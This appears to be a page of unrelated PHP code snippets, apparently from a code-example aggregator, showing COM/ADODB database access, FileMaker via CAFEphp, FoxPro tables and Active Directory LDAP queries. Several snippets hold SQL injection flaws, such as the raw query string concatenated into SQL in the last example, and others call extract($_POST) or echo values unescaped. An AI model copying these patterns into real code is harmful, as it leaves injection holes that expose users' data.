                                 DB::update($sSQL) or $html .= "<td>" . mysql_error() . "</td>";
                                 $tags_override++;
                             }
                         } else {
                             $sSQL = "insert into `{$table_name}`(`{$objIDField}`,OCCUR_DATE,`{$column_name}`{$sF}) values({$r['OBJECT_ID']},'{$date}','{$value}'{$sV})";
                             $sSQL = str_replace("''", "null", $sSQL);
                             $impSQL .= ($impSQL ? "<bt>" : "") . $sSQL;
                             if ($update_db) {
                                 DB::insert($sSQL) or $html .= "<td>" . mysql_error() . "</td>";
                                 $tags_addnew++;
                             }
                         }
                         $tags_loaded++;
                     }
                 }
             }
         }
         $str .= " <tr><td>" . $result_set->fields[0]->value . '</td><td>' . $result_set->fields[1]->value . '</td><td>' . $result_set->fields[2]->value . "</td><td>{$statusCode}</td><td>{$err}</td><td>{$impSQL}</td></tr>";
         $result_count = $result_count + 1;
         $result_set->MoveNext();
     }
     $str .= " </table><br>";
     $str .= " Close connection " . date('H:i:s') . "<br>";
     $str .= " <br />The number of records retrieved is: " . $result_count . "<br /><br />";
     $result_set->Close();
     // optional
     $connection->Close();
     // optional
     $str .= " Finished " . date('H:i:s') . "<br>";
     return response()->json($str);
 }
Exemplo n.º 11
0
<?php

checkauthentication();
$err = false;
extract($_POST);
$xmenu_p = xmenu_id($p);
$p_next = $xmenu_p->parent;
$th = $_SESSION['xth'];
if (isset($form)) {
    if ($err != true) {
        $kdsatker_input = $_REQUEST['kdsatker'];
        if ($kdsatker_input != '') {
            $conn = new COM("ADODB.Connection");
            $dirData = "c:\\xampp\\htdocs\\sireva\\file_dipa\\" . $kdsatker_input . "\\";
            $conn->Open("Provider=vfpoledb.1;Data Source={$dirData};Collating Sequence=Machine");
            $Data = $conn->Execute("select THANG,KDSATKER,sum(TOTNILMAK) AS jml from M_SPMIND.DBF group by THANG,KDSATKER");
            $th_file = $Data->Fields(0);
            $kdsatker_data = $Data->Fields(1);
            $jumlah = $Data->Fields(2);
            /*	 
                   echo "<strong> Tersambung SAKPA Tahun ".$th." Satker ".$kdsatker_data." </strong></<br>";
                    echo "<strong> Jumlah Realisasi ".$jumlah." </strong></<br>";
            
            				if ($kdsatker_input <> $kdsatker_data ){
            				
            					$_SESSION['errmsg'] = "Pilihan Satker berbeda dengan Data yang tersedia"; ?>
            
            					<meta http-equiv="refresh" content="0;URL=index.php?p=<?php echo $p_next ?>"><?php
            					exit();
            				
            				}	# END CEK FOLDER DAN DATA
Exemplo n.º 12
0
 function &_query($sql, $inputarr = false)
 {
     $dbc = $this->_connectionID;
     //	return rs
     if ($inputarr) {
         $oCmd = new COM('ADODB.Command');
         $oCmd->ActiveConnection = $dbc;
         $oCmd->CommandText = $sql;
         $oCmd->CommandType = 1;
         foreach ($inputarr as $val) {
             // name, type, direction 1 = input, len,
             $this->adoParameterType = 130;
             $p = $oCmd->CreateParameter('name', $this->adoParameterType, 1, strlen($val), $val);
             //print $p->Type.' '.$p->value;
             $oCmd->Parameters->Append($p);
         }
         $p = false;
         $rs = $oCmd->Execute();
         $e = $dbc->Errors;
         if ($dbc->Errors->Count > 0) {
             return false;
         }
         return $rs;
     }
     $rs = @$dbc->Execute($sql, $this->_affectedRows);
     if ($dbc->Errors->Count > 0) {
         return false;
     }
     return $rs;
 }
 function doQuery($action)
 {
     // Note that because of the way in which CAFEphp and FileMaker are implemented, CAFEphp must be running on the same
     // machine that is serving as the web server.  (You'll note that PHP creates a COM object which looks for a locally
     // running application.)  For this same reason, the server IP and port are irrelevant.
     $availableActions = array('-delete', '-edit', '-find', '-findall', '-new', '-sqlquery');
     if (!in_array(strtolower($action), $availableActions)) {
         // first off, toss out any requests for actions NOT supported under CAFEphp
         return new FX_Error("The action requested ({$action}) is not supported in CAFEphp.");
     }
     $CAFEphp_res = new COM('CAFEphp.Application');
     // although username and password are optional for this function, FX.php expects them to be set
     if ($CAFEphp_res == false) {
         return new FX_Error('Unable to load to CAFEphp.');
     }
     if (defined("DEBUG") and DEBUG or DEBUG_FUZZY) {
         $currentDebugString = "<p>CAFEphp version: " . $CAFEphp_res->Version() . "</p>\n";
         $this->FX->lastDebugMessage .= $currentDebugString;
         if (defined("DEBUG") and DEBUG) {
             echo $currentDebugString;
         }
     }
     $theResult = $CAFEphp_res->Connect($this->FX->database, $this->FX->DBUser, $this->FX->DBPassword);
     if ($theResult != 0) {
         $CAFEphp_res->EndConnection();
         switch ($theResult) {
             case -1:
                 return new FX_Error('Unable to connect.  Be sure the FileMaker database and CAFEphp are running.');
                 break;
             case -2:
                 return new FX_Error('Certificate not present.  You MUST have a certificate.');
                 break;
             case -3:
                 return new FX_Error('Certificate is corrupt.');
                 break;
             case -4:
                 return new FX_Error('CAFEphp is not running or the demo version has expired.');
                 break;
             case -5:
                 return new FX_Error('The current demo of CAFEphp has expired.');
                 break;
             default:
                 return new FX_Error('An unknown error has occured while attempting to create the COM object.');
                 break;
         }
     }
     switch ($action) {
         case '-delete':
         case '-edit':
         case '-find':
         case '-findall':
         case '-new':
             $this->FX->dataQuery = $this->BuildSQLQuery($action);
             if (FX::isError($this->FX->dataQuery)) {
                 return $this->FX->dataQuery;
             }
         case '-sqlquery':
             // note that there is no preceding break, as we don't want to build a query
             if (substr(trim($this->FX->dataQuery), 0, 6) == 'SELECT') {
                 $currentSelect = true;
                 $theResult = $CAFEphp_res->Query($this->FX->dataQuery, $this->FX->groupSize);
             } else {
                 $currentSelect = false;
                 $theResult = $CAFEphp_res->Execute($this->FX->dataQuery);
             }
             if ($theResult < 0) {
                 $CAFEphp_res->EndConnection();
                 switch ($theResult) {
                     case -1:
                         return new FX_Error('No CAFEphp connection for the query.');
                         break;
                     default:
                         return new FX_Error('An unknown error occured during the query.');
                         break;
                 }
             }
             $this->FX->foundCount = $theResult;
             $theResult = $CAFEphp_res->FieldCount();
             if ($theResult < 0) {
                 $CAFEphp_res->EndConnection();
                 switch ($theResult) {
                     case -1:
                         return new FX_Error('No CAFEphp connection for the field count.');
                         break;
                     case -2:
                         return new FX_Error('No query was performed for a field count.');
                         break;
                     default:
                         return new FX_Error('An unknown error occured during the query.');
                         break;
                 }
             } else {
                 $currentFieldCount = $theResult;
             }
             for ($i = 0; $i < $currentFieldCount; ++$i) {
                 $theResult = $CAFEphp_res->FieldName($i);
                 if ($theResult == '$-CAFEphpNOCONNECTION') {
                     $CAFEphp_res->EndConnection();
                     return new FX_Error("No CAFEphp connection while retieving the name of field {$i}.");
                 } elseif ($theResult == '$-CAFEphpNOQUERY') {
                     $CAFEphp_res->EndConnection();
                     return new FX_Error("CAFEphp returned a \"No Query\" error while retieving the name of field {$i}.");
                 } elseif ($theResult == '$-CAFEphpUNKNOWNERROR') {
                     $CAFEphp_res->EndConnection();
                     return new FX_Error("CAFEphp returned an unknown error while retieving the name of field {$i}.");
                 }
                 $this->FX->fieldInfo[$i]['name'] = $theResult;
                 $this->FX->fieldInfo[$i]['type'] = 'NO DATA';
                 $this->FX->fieldInfo[$i]['emptyok'] = 'NO DATA';
                 $this->FX->fieldInfo[$i]['maxrepeat'] = 'NO DATA';
                 $this->FX->fieldInfo[$i]['extra'] = '';
             }
             if ($currentSelect) {
                 $tempRow = array();
                 for ($i = 0; $i < $this->FX->foundCount; ++$i) {
                     for ($j = 0; $j < $currentFieldCount; ++$j) {
                         $theResult = $CAFEphp_res->FieldValue($j);
                         if ($theResult == '$-CAFEphpNOCONNECTION') {
                             $CAFEphp_res->EndConnection();
                             return new FX_Error("No CAFEphp connection while retieving the value of field {$i} for record {$j}.");
                         } elseif ($theResult == '$-CAFEphpNOQUERY') {
                             $CAFEphp_res->EndConnection();
                             return new FX_Error("CAFEphp returned a \"No Query\" error while retieving the value of field {$i} for record {$j}.");
                         } elseif ($theResult == '$-CAFEphpUNKNOWNERROR') {
                             $CAFEphp_res->EndConnection();
                             return new FX_Error("CAFEphp returned an unknown error while retieving the value of field {$i} for record {$j}.");
                         }
                         if (!$this->FX->useInnerArray) {
                             $tempRow[$this->FX->fieldInfo[$j]['name']] = $theResult;
                         } else {
                             $tempRow[$this->FX->fieldInfo[$j]['name']] = array($theResult);
                         }
                         if ($this->FX->fieldInfo[$j]['name'] == $this->FX->primaryKeyField) {
                             $currentKey = $value;
                         }
                     }
                     if ($this->FX->genericKeys || $this->FX->primaryKeyField == '') {
                         $this->FX->currentData[] = $tempRow;
                     } else {
                         $this->FX->currentData[$currentKey] = $tempRow;
                     }
                     $theResult = $CAFEphp_res->MoveNext();
                     if ($theResult < 0) {
                         $CAFEphp_res->EndConnection();
                         $next = $i + 1;
                         switch ($theResult) {
                             case -1:
                                 return new FX_Error('No CAFEphp connection while moving from record {$i} to {$next}.');
                                 break;
                             case -2:
                                 return new FX_Error('There was no current query while moving from record {$i} to {$next}.');
                                 break;
                             default:
                                 return new FX_Error('An unknown error occured while moving from record {$i} to {$next}.');
                                 break;
                         }
                     }
                 }
             }
             break;
         default:
             return new FX_Error("The action requested ({$action}) is not supported in CAFEphp.");
             break;
     }
     $this->FX->fxError = 0;
     return true;
 }
Exemplo n.º 14
0
	function _query($sql,$inputarr=false)
	{
		try { // In PHP5, all COM errors are exceptions, so to maintain old behaviour...

		$dbc = $this->_connectionID;

	//	return rs

		$false = false;

		if ($inputarr) {

			if (!empty($this->charPage))
				$oCmd = new COM('ADODB.Command',null,$this->charPage);
			else
				$oCmd = new COM('ADODB.Command');
			$oCmd->ActiveConnection = $dbc;
			$oCmd->CommandText = $sql;
			$oCmd->CommandType = 1;

			while(list(, $val) = each($inputarr)) {
				$type = gettype($val);
				$len=strlen($val);
				if ($type == 'boolean')
					$this->adoParameterType = 11;
				else if ($type == 'integer')
					$this->adoParameterType = 3;
				else if ($type == 'double')
					$this->adoParameterType = 5;
				elseif ($type == 'string')
					$this->adoParameterType = 202;
				else if (($val === null) || (!defined($val)))
					$len=1;
				else
					$this->adoParameterType = 130;

				// name, type, direction 1 = input, len,
        		$p = $oCmd->CreateParameter('name',$this->adoParameterType,1,$len,$val);

				$oCmd->Parameters->Append($p);
			}

			$p = false;
			$rs = $oCmd->Execute();
			$e = $dbc->Errors;
			if ($dbc->Errors->Count > 0) return $false;
			return $rs;
		}

		$rs = @$dbc->Execute($sql,$this->_affectedRows, $this->_execute_option);

		if ($dbc->Errors->Count > 0) return $false;
		if (! $rs) return $false;

		if ($rs->State == 0) {
			$true = true;
			return $true; // 0 = adStateClosed means no records returned
		}
		return $rs;

		} catch (exception $e) {

		}
		return $false;
	}
Exemplo n.º 15
0
$objCommand->Properties["Chase Referrals"] = False;
//DEFAULT = False
//$objCommand->Properties["Column Names Only"] = True;     //DEFAULT = False
//$objCommand->Properties["Deref Aliases"] = False;     //DEFAULT = False
$objCommand->Properties["Page Size"] = 999;
//GET AROUND AD'S 1000 RECORD (DEFAULT)LIMIT AND PAGENATES RESULTS
$objCommand->Properties["SearchScope"] = 2;
//DEFAULT = ADS_SCOPE_SUBTREE(aka 2) (http://msdn.microsoft.com/en-us/library/aa772286%28v=vs.85%29.aspx)
//$objCommand->Properties["Size Limit"] = 0;     //DEFAULT = No Size Limit (An integer value that specifies the size limit for the search. For Active Directory, the size limit specifies the maximum number of returned objects.)
//$objCommand->Properties['Sort On']->Value = "name";     //DEFAULT = No Sorting (aka none)
$objCommand->Properties["Time Limit"] = 0;
//DEFAULT = No Time Limit (An integer value that specifies the time limit, in seconds, for the search.)
$objCommand->Properties["Timeout"] = 0;
//DEFAULT =  No Time Out (An integer value that specifies the client-side timeout value, in seconds.)
$Cmd = "<LDAP://192.168.1.1>;(objectClass=*);adspath;Subtree";
//YOUR AD SEVER HERE | FQDN or IP
$objCommand->CommandText = $Cmd;
$objRecordSet = $objCommand->Execute();
$OrderNumber = 0;
while (!$objRecordSet->EOF()) {
    $OrderNumber++;
    $adspath = $objRecordSet->Fields['adspath']->Value;
    echo $adspath . "<br>";
    $objRecordSet->MoveNext();
}
$objRecordSet->Close();
//$objCommand->Close() ;
$objConnection->Close();
unset($objRecordSet);
unset($objCommand);
unset($objConnection);
Exemplo n.º 16
0
 function &_query($sql, $inputarr = false)
 {
     try {
         // In PHP5, all COM errors are exceptions, so to maintain old behaviour...
         $dbc = $this->_connectionID;
         //	return rs
         if ($inputarr) {
             if (!empty($this->charPage)) {
                 $oCmd = new COM('ADODB.Command', null, $this->charPage);
             } else {
                 $oCmd = new COM('ADODB.Command');
             }
             $oCmd->ActiveConnection = $dbc;
             $oCmd->CommandText = $sql;
             $oCmd->CommandType = 1;
             foreach ($inputarr as $val) {
                 // name, type, direction 1 = input, len,
                 $this->adoParameterType = 130;
                 $p = $oCmd->CreateParameter('name', $this->adoParameterType, 1, strlen($val), $val);
                 //print $p->Type.' '.$p->value;
                 $oCmd->Parameters->Append($p);
             }
             $p = false;
             $rs = $oCmd->Execute();
             $e = $dbc->Errors;
             if ($dbc->Errors->Count > 0) {
                 return false;
             }
             return $rs;
         }
         $rs = @$dbc->Execute($sql, $this->_affectedRows, $this->_execute_option);
         if ($dbc->Errors->Count > 0) {
             return false;
         }
         if (!$rs) {
             return false;
         }
         if ($rs->State == 0) {
             return true;
         }
         // 0 = adStateClosed means no records returned
         return $rs;
     } catch (exception $e) {
     }
     return false;
 }
Exemplo n.º 17
0
textarea{overflow-y:visible;width:98%;}
div{display:inline-block;background:#219ECE;margin:2px;padding:2px;border-radius:4px 4px 4px 4px;}
section{padding:5px;background:#188A84;color:#fff;}
section h1{margin:13px;font-size:2em;}
footer{margin: 0 0 0 15px;color:#fff;}
footer a:link,
footer a:visited{color:#fff;border-bottom:1px dotted #fff;}
</style>


</head>
<body>
<?php 
if ($id = $_SERVER['QUERY_STRING']) {
    //列出当前纸片的内容
    $rs = $conn->Execute("select * from infinite where id=" . $id);
    $rs2 = $conn->Execute("select * from infinite where parents_id=" . $rs->Fields['parents_id']->Value);
    ?>
<section>
<h1><?php 
    echo $rs->Fields['content']->Value;
    ?>
</h1>


<footer>
<?php 
    echo $rs->Fields['reply_count']->Value;
    ?>
个回复&nbsp;&nbsp;
来自<a href="?<?php